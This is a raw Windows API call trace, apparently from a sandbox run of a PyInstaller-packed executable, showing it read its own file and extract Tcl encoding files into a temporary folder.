[0036.739] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.739] CloseHandle (hObject=0x10c) returned 1 [0036.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563780 | out: hHeap=0x530000) returned 1 [0036.741] htonl (hostlong=0x30000000) returned 0x30 [0036.741] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.741] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.741] GetFileType (hFile=0x10c) returned 0x1 [0036.741] htonl (hostlong=0x67fa5500) returned 0x55fa67 [0036.741] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5aaa67, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.741] htonl (hostlong=0x17020000) returned 0x217 [0036.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x217) returned 0x550600 [0036.741] htonl (hostlong=0x17020000) returned 0x217 [0036.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.741] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.741] htonl (hostlong=0x43040000) returned 0x443 [0036.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.741] htonl (hostlong=0x17020000) returned 0x217 [0036.741] htonl (hostlong=0x43040000) returned 0x443 [0036.741] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.741] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.742] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.742] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.742] CloseHandle (hObject=0x10c) returned 1 [0036.742] GetLastError () returned 0x0 [0036.742] SetLastError (dwErrCode=0x0) [0036.742] GetLastError () returned 0x0 [0036.742] SetLastError (dwErrCode=0x0) [0036.742] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.742] GetFileType (hFile=0x10c) returned 0x1 [0036.743] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.743] CloseHandle (hObject=0x10c) returned 1 [0036.743] GetLastError () returned 0x0 [0036.743] SetLastError (dwErrCode=0x0) [0036.743] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.743] GetFileType (hFile=0x10c) returned 0x1 [0036.743] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.743] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.743] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.743] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.743] CloseHandle (hObject=0x10c) returned 1 [0036.744] GetLastError () returned 0x0 [0036.744] SetLastError (dwErrCode=0x0) [0036.744] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-r.enc") returned 69 [0036.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-r.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\koi8-r.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.744] GetLastError () returned 0x2 [0036.744] SetLastError (dwErrCode=0x2) [0036.744] GetLastError () returned 0x2 [0036.744] SetLastError (dwErrCode=0x2) [0036.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-r.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-r.enc", lpFilePart=0x0) returned 0x44 [0036.744] GetLastError () returned 0x2 [0036.744] SetLastError (dwErrCode=0x2) [0036.744] GetLastError () returned 0x2 [0036.744] SetLastError (dwErrCode=0x2) [0036.744] GetLastError () returned 0x2 [0036.744] SetLastError (dwErrCode=0x2) [0036.744] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-r.enc") returned 69 [0036.744] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-r.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\koi8-r.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.744] GetFileType (hFile=0x10c) returned 0x1 [0036.744] htonl (hostlong=0x43040000) returned 0x443 [0036.744] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.744] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.745] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.745] CloseHandle (hObject=0x10c) returned 1 [0036.746] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.746] htonl (hostlong=0x30000000) returned 0x30 [0036.746] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.746] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.746] GetFileType (hFile=0x10c) returned 0x1 [0036.746] htonl (hostlong=0x7efc5500) returned 0x55fc7e [0036.746] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5aac7e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.746] htonl (hostlong=0x1a020000) returned 0x21a [0036.746] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21a) returned 0x550600 [0036.746] htonl (hostlong=0x1a020000) returned 0x21a [0036.746] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.747] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.747] htonl (hostlong=0x43040000) returned 0x443 [0036.747] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.747] htonl (hostlong=0x1a020000) returned 0x21a [0036.747] htonl (hostlong=0x43040000) returned 0x443 [0036.747] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.747] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.747] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.747] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.747] CloseHandle (hObject=0x10c) returned 1 [0036.748] GetLastError () returned 0x0 [0036.748] SetLastError (dwErrCode=0x0) [0036.748] GetLastError () returned 0x0 [0036.748] SetLastError (dwErrCode=0x0) [0036.748] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.748] GetFileType (hFile=0x10c) returned 0x1 [0036.748] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.748] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.748] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.748] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.748] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.748] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.748] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.748] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.748] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.748] CloseHandle (hObject=0x10c) returned 1 [0036.748] GetLastError () returned 0x0 [0036.748] SetLastError (dwErrCode=0x0) [0036.748] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.748] GetFileType (hFile=0x10c) returned 0x1 [0036.748] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.748] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.749] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.749] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.749] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.749] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.749] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.749] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.749] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.749] CloseHandle (hObject=0x10c) returned 1 [0036.749] GetLastError () returned 0x0 [0036.749] SetLastError (dwErrCode=0x0) [0036.749] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-u.enc") returned 69 [0036.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-u.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\koi8-u.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.749] GetLastError () returned 0x2 [0036.749] SetLastError (dwErrCode=0x2) [0036.749] GetLastError () returned 0x2 [0036.749] SetLastError (dwErrCode=0x2) [0036.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-u.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-u.enc", lpFilePart=0x0) returned 0x44 [0036.749] GetLastError () returned 0x2 [0036.749] SetLastError (dwErrCode=0x2) [0036.749] GetLastError () returned 0x2 [0036.749] SetLastError (dwErrCode=0x2) [0036.749] GetLastError () returned 0x2 [0036.749] SetLastError (dwErrCode=0x2) [0036.749] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-u.enc") returned 69 [0036.749] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\koi8-u.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\koi8-u.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.750] GetFileType (hFile=0x10c) returned 0x1 [0036.750] htonl (hostlong=0x43040000) returned 0x443 [0036.750] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.750] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.752] CloseHandle (hObject=0x10c) returned 1 [0036.752] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.752] htonl (hostlong=0x30000000) returned 0x30 [0036.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.752] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.753] GetFileType (hFile=0x10c) returned 0x1 [0036.753] htonl (hostlong=0x98fe5500) returned 0x55fe98 [0036.753] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5aae98, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.753] htonl (hostlong=0xc44e0000) returned 0x4ec4 [0036.753] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4ec4) returned 0x560088 [0036.753] htonl (hostlong=0xc44e0000) returned 0x4ec4 [0036.753] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.753] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.753] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.753] htonl (hostlong=0xcd6a0100) returned 0x16acd [0036.753] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16acd) returned 0x564f58 [0036.753] htonl (hostlong=0xc44e0000) returned 0x4ec4 [0036.753] htonl (hostlong=0xcd6a0100) returned 0x16acd [0036.753] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x57ba30 [0036.755] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57ba30 | out: hHeap=0x530000) returned 1 [0036.755] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.756] CloseHandle (hObject=0x10c) returned 1 [0036.756] GetLastError () returned 0x0 [0036.756] SetLastError (dwErrCode=0x0) [0036.756] GetLastError () returned 0x0 [0036.756] SetLastError (dwErrCode=0x0) [0036.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.756] GetFileType (hFile=0x10c) returned 0x1 [0036.756] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.756] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.756] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.756] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.756] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.757] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.757] CloseHandle (hObject=0x10c) returned 1 [0036.757] GetLastError () returned 0x0 [0036.757] SetLastError (dwErrCode=0x0) [0036.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.757] GetFileType (hFile=0x10c) returned 0x1 